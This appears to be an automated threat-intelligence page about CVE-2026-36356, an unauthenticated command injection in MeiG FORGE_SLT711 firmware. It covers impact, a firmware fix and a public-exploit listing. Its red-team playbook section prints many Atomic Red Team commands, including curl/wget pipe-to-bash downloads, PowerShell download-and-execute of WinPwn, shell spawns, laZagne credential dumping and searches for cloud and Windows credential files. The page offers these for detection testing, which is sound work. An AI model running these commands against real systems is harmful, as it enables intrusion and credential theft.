CVE-2026-36356
Overview
This vulnerability is an unauthenticated OS command injection affecting the GoAhead web server component embedded in MeiG Smart FORGE_SLT711 devices running firmware MDM9607.LE.1.0-00110-STD.PROD-1. The root cause lies in inadequate input validation on the /action/SetRemoteAccessCfg HTTP endpoint, which directly passes user-supplied data to system command execution functions without proper sanitization, allowing arbitrary commands to be injected and executed on the underlying operating system.
Vulnerability Description
The GoAhead web server on MeiG Smart FORGE_SLT711 devices (firmware MDM9607.LE.1.0-00110-STD.PROD-1) allows unauthenticated OS command injection via the /action/SetRemoteAccessCfg endpoint.
Impact
An unauthenticated attacker can execute arbitrary operating system commands on the affected device remotely, potentially gaining full control over the system. This can lead to unauthorized access to sensitive device data, manipulation of device configurations, and disruption of normal operations. No authentication or user interaction is required, enabling easy exploitation from the network. The compromise may facilitate lateral movement within the network or persistent device takeover, impacting business continuity and data confidentiality.
Solution
MeiG has published firmware updates addressing this vulnerability for the FORGE_SLT711 device, specifically versions beyond MDM9607.LE.1.0-00110-STD.PROD-1. Administrators should upgrade to the latest firmware available from http://meig.com following the vendor's official instructions. Additionally, the GitHub repository https://github.com/totekuh/CVE-2026-36356 provides further technical details that may assist in mitigation verification. No alternative workarounds are documented; firmware upgrade is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the GoAhead web server utilized by MeiG Smart FORGE_SLT711 devices presents a significant security risk due to its ability to allow unauthenticated OS command injection through the /action/SetRemoteAccessCfg endpoint. This flaw arises from inadequate input validation, which permits attackers to send crafted requests that can execute arbitrary commands on the underlying operating system. The lack of authentication checks means that any remote user can exploit this vulnerability without needing valid credentials, making it particularly dangerous. Attackers can manipulate the server’s functionality by injecting malicious commands, potentially leading to full system compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage tools such as cURL or custom scripts to send specially crafted HTTP requests to the vulnerable endpoint. By injecting OS commands into the request payload, the attacker could execute arbitrary code with the same privileges as the web server process. This could lead to unauthorized access to sensitive data, alteration of system configurations, or even the installation of malware. Scenarios could include gaining control over the device, pivoting to other network resources, or launching further attacks against connected systems. The ease of exploitation, combined with the potential for significant impact, makes this vulnerability a prime target for malicious actors.
The real-world implications of this vulnerability are profound, particularly for organizations that rely on these devices for critical operations. The exploitation could lead to data breaches, loss of sensitive information, and disruption of services. For businesses, the consequences may include financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. The high CVSS score of 9.1 indicates a critical vulnerability that requires immediate attention, as the risks associated with an exploited device can extend beyond the immediate environment, affecting customers and partners alike.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify and remediate weaknesses in their systems. Network segmentation can limit the exposure of vulnerable devices to external threats, while intrusion detection systems (IDS) can monitor for unusual activity indicative of exploitation attempts. Additionally, applying firmware updates and patches provided by the manufacturer is crucial in addressing known vulnerabilities. Organizations should also enforce strict access controls and implement logging mechanisms to track access to sensitive endpoints, enabling rapid response to any suspicious activities.
In conclusion, the vulnerability in the GoAhead web server on MeiG Smart FORGE_SLT711 devices poses a significant threat due to its potential for unauthenticated OS command injection. The ease of exploitation and the severe consequences of successful attacks necessitate immediate action from affected organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against this and similar vulnerabilities, thereby reducing their overall risk profile and ensuring the integrity of their operations.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2026-36356, highlighted by the emergence of a new proof-of-concept exploit publicly available via ExploitDB. Our telemetry indicates a significant uptick in exploitation attempts targeting the GoAhead web server on MeiG Smart FORGE_SLT711 devices, coinciding with the assignment of a critical CVSS score of 9.1. This shift from theoretical vulnerability to active exploitation substantially elevates the threat posture, as unauthenticated OS command injection can lead to full system compromise without prior access. The appearance of a measurable EPSS score further underscores the increased likelihood of exploitation in the wild. Collectively, these developments signal that threat actors have transitioned from reconnaissance to active weaponization, intensifying the urgency for defenders to prioritize detection and response capabilities. The risk level for affected environments has therefore escalated from negligible to critical, reflecting the practical feasibility and impact of attacks leveraging this vulnerability.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| MeiG Smart FORGE_SLT711 - OS Command Injection | Daniil Gordeev | hardware | linux | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: MeiG, product: Smart FORGE_SLT711
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-36356 |
| meig.com |
GitHub CVE
|
http://meig.com |
| github.com |
GitHub CVE
|
https://github.com/totekuh/CVE-2026-36356 |